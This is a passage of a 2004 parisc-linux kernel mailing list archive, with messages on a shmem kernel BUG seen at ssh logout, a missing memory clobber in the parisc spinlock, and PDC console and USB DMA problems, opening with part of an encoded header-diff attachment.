bmcgKnBvd2VyX3JlZyk7CiBpbnQgcGRjX3NvZnRfcG93ZXJfYnV0dG9uKGludCBzd19jb250cm9s
KTsKLXZvaWQgcGRjX3N1c3BlbmRfdXNiKHZvaWQpOwordm9pZCBwZGNfaW9fcmVzZXQodm9pZCk7
Cit2b2lkIHBkY19pb19yZXNldF9kZXZpY2VzKHZvaWQpOwogaW50IHBkY19pb2RjX2dldGModm9p
ZCk7CiB2b2lkIHBkY19pb2RjX3B1dGModW5zaWduZWQgY2hhciBjKTsKIHZvaWQgcGRjX2lvZGNf
b3V0Yyh1bnNpZ25lZCBjaGFyIGMpOwpAQCAtOTYzLDcgKzk2OCw2IEBACiAKICNpZmRlZiBfX0xQ
NjRfXwogaW50IHBkY19wYXRfY2hhc3Npc19zZW5kX2xvZyh1bnNpZ25lZCBsb25nIHN0YXR1cywg
dW5zaWduZWQgbG9uZyBkYXRhKTsKLQogaW50IHBkY19wYXRfY2VsbF9nZXRfbnVtYmVyKHN0cnVj
dCBwZGNfcGF0X2NlbGxfbnVtICpjZWxsX2luZm8pOwogaW50IHBkY19wYXRfY2VsbF9tb2R1bGUo
dW5zaWduZWQgbG9uZyAqYWN0Y250LCB1bnNpZ25lZCBsb25nIHBsb2MsIHVuc2lnbmVkIGxvbmcg
bW9kLAogCQkJdW5zaWduZWQgbG9uZyB2aWV3X3R5cGUsIHZvaWQgKm1lbV9hZGRyKTsK

--========/400CB8A1000028AB/mail.tiscali.be--


From - Thu Nov 08 21:30:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel BUG at mm/shmem.c:585!
Date: Thu, 22 Jan 2004 14:38:49 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20040122213849.GG13354@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623142 4767 80.91.229.3 (22 Nov 2014 02:25:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: grundler@lackof.org  Thu Jan 22 14:38:50 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 89E2A487E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Jan 2004 14:38:50 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id EEE71298097
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Jan 2004 14:38:49 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 17491-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Jan 2004 14:38:49 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 624CB298029; Thu, 22 Jan 2004 14:38:49 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 22 Jan 2004 21:38:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20673

Just booted 2.6.1-pa9 (-pa8 + SBA change) and got:

kernel BUG at mm/shmem.c:585!
Kernel addresses on the stack:
 [<000000001016dc30>]  [<0000000010125cd8>]  [<0000000010111cd4>]  [<000000001010be4c>] 
 [<000000001010b094>]

those correspond to:
	0x1016dc30 unmap_page_range+a0
	0x10125cd8 sys32_rt_sigaction+90
	0x10111cd4 sys_mmap2+14
	0x1010be4c syscall_exit+0
	0x1010b094 intr_check_sig+0

This is on a500 (hppa64) with:
grundler <509>df
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/md2               1539008   1257752    265624  83% /
/dev/md3               6683304   3688352   2927052  56% /home
/dev/md0              52507076   3455824  46384048   7% /usr/src
grundler <510>mount
/dev/md2 on / type ext3 (rw,errors=remount-ro)
proc on /proc type proc (rw)
devpts on /dev/pts type devpts (rw,gid=5,mode=620)
/dev/md3 on /home type ext3 (rw,errors=remount-ro)
/dev/md0 on /usr/src type ext3 (rw,errors=remount-ro)


grant


From - Thu Nov 08 21:30:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel BUG at mm/shmem.c:585!
Date: Thu, 22 Jan 2004 19:09:07 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20040123020907.GJ13354@colo.lackof.org>
References: <20040122213849.GG13354@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623142 4771 80.91.229.3 (22 Nov 2014 02:25:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: grundler@lackof.org  Thu Jan 22 19:09:09 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id E9655484B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Jan 2004 19:09:08 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 45B8829809A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Jan 2004 19:09:08 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 20863-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Jan 2004 19:09:07 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B876B298097; Thu, 22 Jan 2004 19:09:07 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040122213849.GG13354@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Jan 2004 02:09:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20674

On Thu, Jan 22, 2004 at 02:38:49PM -0700, Grant Grundler wrote:
> Just booted 2.6.1-pa9 (-pa8 + SBA change) and got:
> 
> kernel BUG at mm/shmem.c:585!
> Kernel addresses on the stack:
>  [<000000001016dc30>]  [<0000000010125cd8>]  [<0000000010111cd4>]  [<000000001010be4c>] 
>  [<000000001010b094>]

I've associated this with logging out of ssh sessions.
ie when I exit a remote login, the above output pops up in the console.

grant


From - Thu Nov 08 21:30:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] missing barrier in _raw_spin_lock?
Date: Fri, 23 Jan 2004 16:09:56 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <200401231609.56800.arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623142 4774 80.91.229.3 (22 Nov 2014 02:25:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:42 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: arnd@arndb.de  Fri Jan 23 08:14:19 2004
Return-Path: <arnd@arndb.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from natsmtp01.rzone.de (natsmtp01.rzone.de [81.169.145.166])
	by dsl2.external.hp.com (Postfix) with ESMTP id AF0EA4840
	for <parisc-linux@parisc-linux.org>;
	Fri, 23 Jan 2004 08:14:18 -0700 (MST)
Original-Received: from dyn-9-152-210-118.boeblingen.de.ibm.com (blueice1a.de.ibm.com
	[194.196.100.88])
	by post.webmailer.de (8.12.10/8.12.10) with ESMTP id i0NFEGmi022317
	for <parisc-linux@parisc-linux.org>;
	Fri, 23 Jan 2004 16:14:16 +0100 (MET)
User-Agent: KMail/1.5.4
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Jan 2004 15:14:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20675

We stumbled over a problem on s390 that can cause random memory corruption
under high load on SMP. It turned out to be a missing on :"memory" clobber
on the _raw_spin_lock primitive.

As far as I can see, the same problem is in the parisc spinlock definition
in linux-2.6.1, but none of the other architectures.

The code below demonstrates the problem. With the broken spinlock, the
compiler does not emit code for the second "if" or for the assignment.
Similar code can be found in mempool_free().

	Arnd <><

----
#include <linux/spinlock.h>

static int x;
static spinlock_t lock;

void test(void)
{
        if (x) {
                spin_lock(&lock);
                if (!x)
                        x = 0x1234;
                spin_unlock(&lock);
        }
}



From - Thu Nov 08 21:30:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Stability / Kernel 2.6.1 / HD Freezes
Date: Fri, 23 Jan 2004 08:52:10 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <20040123135209.GA4571@baldric.uwo.ca>
References: <200401191930.27090.jools@oxfordinspire.co.uk>
	<20040120161858.GC15917@baldric.uwo.ca>
	<200401201919.02968.jools@oxfordinspire.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623142 4778 80.91.229.3 (22 Nov 2014 02:25:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:42 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Jools Smyth <jools@oxfordinspire.co.uk>
Original-X-From: carlos@lios.external.hp.com  Fri Jan 23 11:53:53 2004
Return-Path: <carlos@lios.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lios (colossus.baldric.uwo.ca [129.100.225.209])
	by dsl2.external.hp.com (Postfix) with ESMTP id 839304840
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Jan 2004 11:53:53 -0700 (MST)
Original-Received: from carlos by lios with local (Exim 3.36 #1 (Debian))
	id 1Ak1jG-0001CI-00; Fri, 23 Jan 2004 08:52:10 -0500
Content-Disposition: inline
In-Reply-To: <200401201919.02968.jools@oxfordinspire.co.uk>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
X-Mailer: Neural Implant (3% Sync Ratio [..........])
User-Agent: Mutt/1.5.5.1+cvs20040105i
Original-Sender: Carlos O'Donell <carlos@lios.external.hp.com>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Jan 2004 18:53:53 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20676

> > Post to debian-hppa lists. I'll be happy to help if I can see a clear
> > description of the problem.
> 
> done. i put a link to the bugs page which contains all the information 
> gathered so far (which isnt much)

Bug number please, or URL?

c.


From - Thu Nov 08 21:30:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B2k and CONFIG_PDC_CONSOLE pb: followup
Date: Fri, 23 Jan 2004 19:54:44 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <400D3BEE0000294D@ocpmta1.freegates.net>
References: <20040122053112.GB6468@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623143 4782 80.91.229.3 (22 Nov 2014 02:25:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:43 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Fri Jan 23 11:54:47 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD67C4840
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Jan 2004 11:54:47 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1Ak6S5-00035W-01; Fri, 23 Jan 2004 19:54:45 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Fri, 23 Jan 2004 19:54:44 +0100
In-Reply-To: <20040122053112.GB6468@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Jan 2004 18:54:48 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20677

Hi Grant,

Just need more advise (sorry)

>It's the other way around. pdc_suspend_usb() is breaking PDC_CONSOLE.
>See email related to linux-2.6 c3000 serial console problems late last year.

Ok I find relevant info and pdf docs (in fact I missed 'data_formats.pdf'
to make the bridge :( )

>AFAIK, the memcpy just enables the PDC to use a serial console.

Hmm we didn't 'relocate' PDC (as see hpux makes), so all those information
are fill in by PDC prgm itself? So if Console is flagged CL_DUP, I don't
see why do we have to make this memcpy?

>But pdc_suspend_usb() apperently blows away the whole suckyio chip
>and thus PDC can no longer use suckyio serial either. Hrmm..I thought
>there was a IO_RESET_AND_CLEAR pdc call in that same chunk of code.

>Anyway, Figuring out some additional info could help:
>   (a) know which devices migh have DMA enabled when the OS gets control

May be the console itself (by continuously reading the kdb eg)?

>   (b) disable just the DMA
where should I look to disable so console dma?
[if I well understand spinlock_... and unlock function are not foreseen in
that case but more to avoid 2 different cpu to access a same ressource.
May be better something similar to [acquire,release]_console_sem?]

>   (c) detect when PDC_CONSOLE wants to use a device whose DMA we've disabled

Thanks in advance for additional help,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Stability / Kernel 2.6.1 / HD Freezes
Date: Fri, 23 Jan 2004 08:56:35 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20040123135635.GC4571@baldric.uwo.ca>
References: <200401191930.27090.jools@oxfordinspire.co.uk>
	<20040120161858.GC15917@baldric.uwo.ca>
	<200401201919.02968.jools@oxfordinspire.co.uk>
	<20040123135209.GA4571@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623143 4784 80.91.229.3 (22 Nov 2014 02:25:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:43 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Jools Smyth <jools@oxfordinspire.co.uk>
Original-X-From: carlos@lios.external.hp.com  Fri Jan 23 11:58:09 2004
Return-Path: <carlos@lios.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lios (colossus.baldric.uwo.ca [129.100.225.209])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6D4D44840
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Jan 2004 11:58:08 -0700 (MST)
Original-Received: from carlos by lios with local (Exim 3.36 #1 (Debian))
	id 1Ak1nX-0001Cz-00; Fri, 23 Jan 2004 08:56:35 -0500
Content-Disposition: inline
In-Reply-To: <20040123135209.GA4571@baldric.uwo.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (3% Sync Ratio [..........])
User-Agent: Mutt/1.5.5.1+cvs20040105i
Original-Sender: Carlos O'Donell <carlos@lios.external.hp.com>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Jan 2004 18:58:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20678

On Fri, Jan 23, 2004 at 08:52:10AM -0500, Carlos O'Donell wrote:
> > > Post to debian-hppa lists. I'll be happy to help if I can see a clear
> > > description of the problem.
> > 
> > done. i put a link to the bugs page which contains all the information 
> > gathered so far (which isnt much)
> 
> Bug number please, or URL?

I should learn to read *everything* before posting :)

c.


From - Thu Nov 08 21:30:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel BUG at mm/shmem.c:585!
Date: Fri, 23 Jan 2004 09:24:26 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20040123142426.GE4571@baldric.uwo.ca>
References: <20040122213849.GG13354@colo.lackof.org>
	<20040123020907.GJ13354@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623143 4787 80.91.229.3 (22 Nov 2014 02:25:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: carlos@lios.external.hp.com  Fri Jan 23 12:25:59 2004
Return-Path: <carlos@lios.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lios (colossus.baldric.uwo.ca [129.100.225.209])
	by dsl2.external.hp.com (Postfix) with ESMTP id 954984840
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Jan 2004 12:25:59 -0700 (MST)
Original-Received: from carlos by lios with local (Exim 3.36 #1 (Debian))
	id 1Ak2EU-0001EE-00; Fri, 23 Jan 2004 09:24:26 -0500
Content-Disposition: inline
In-Reply-To: <20040123020907.GJ13354@colo.lackof.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (3% Sync Ratio [..........])
User-Agent: Mutt/1.5.5.1+cvs20040105i
Original-Sender: Carlos O'Donell <carlos@lios.external.hp.com>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Jan 2004 19:25:59 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20679

On Thu, Jan 22, 2004 at 07:09:07PM -0700, Grant Grundler wrote:
> On Thu, Jan 22, 2004 at 02:38:49PM -0700, Grant Grundler wrote:
> > Just booted 2.6.1-pa9 (-pa8 + SBA change) and got:
> > 
> > kernel BUG at mm/shmem.c:585!
> > Kernel addresses on the stack:
> 
> I've associated this with logging out of ssh sessions.
> ie when I exit a remote login, the above output pops up in the console.

I've been looking at this bug for a while now, it crops up when I cross
compile a 64-bit kernel with a newer gcc. Randolph was saying that cross
compilng with 3.0.4 doesn't generate this problem. If I remember right
it's trying to free a shared memory inode that is still being used, and
that scenario shouldn't exist. Why this happens is a mystery. 

I see this twice, once for ssh, and something else generates the error.
It appears non-fatal, and I want to blame the compiler :)

http://lists.parisc-linux.org/pipermail/parisc-linux/2003-December/021783.html

c.



From - Thu Nov 08 21:30:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel BUG at mm/shmem.c:585!
Date: Fri, 23 Jan 2004 14:40:27 -0500 (EST)
Lines: 9
Approved: news@gmane.org
Message-ID: <200401231940.i0NJeSJJ004756@hiauly1.hia.nrc.ca>
References: <20040123142426.GE4571@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623144 4790 80.91.229.3 (22 Nov 2014 02:25:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:44 +0000 (UTC)
Cc: grundler@parisc-linux.org, parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Jan 23 12:40:31 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 999FF4840
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Jan 2004 12:40:30 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i0NJeSg4004757; Fri, 23 Jan 2004 14:40:28 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i0NJeSJJ004756;
	Fri, 23 Jan 2004 14:40:28 -0500 (EST)
In-Reply-To: <20040123142426.GE4571@baldric.uwo.ca> from "Carlos O'Donell" at
	Jan 23, 2004 09:24:26 am
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Jan 2004 19:40:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20680

> It appears non-fatal, and I want to blame the compiler :)

I agree but the proof is in the pudding ;-)

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B2k and CONFIG_PDC_CONSOLE pb: followup
Date: Fri, 23 Jan 2004 12:45:31 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20040123194531.GA30221@colo.lackof.org>
References: <20040122053112.GB6468@colo.lackof.org>
	<400D3BEE0000294D@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623144 4791 80.91.229.3 (22 Nov 2014 02:25:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:44 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: grundler@lackof.org  Fri Jan 23 12:45:33 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0CB1F4840
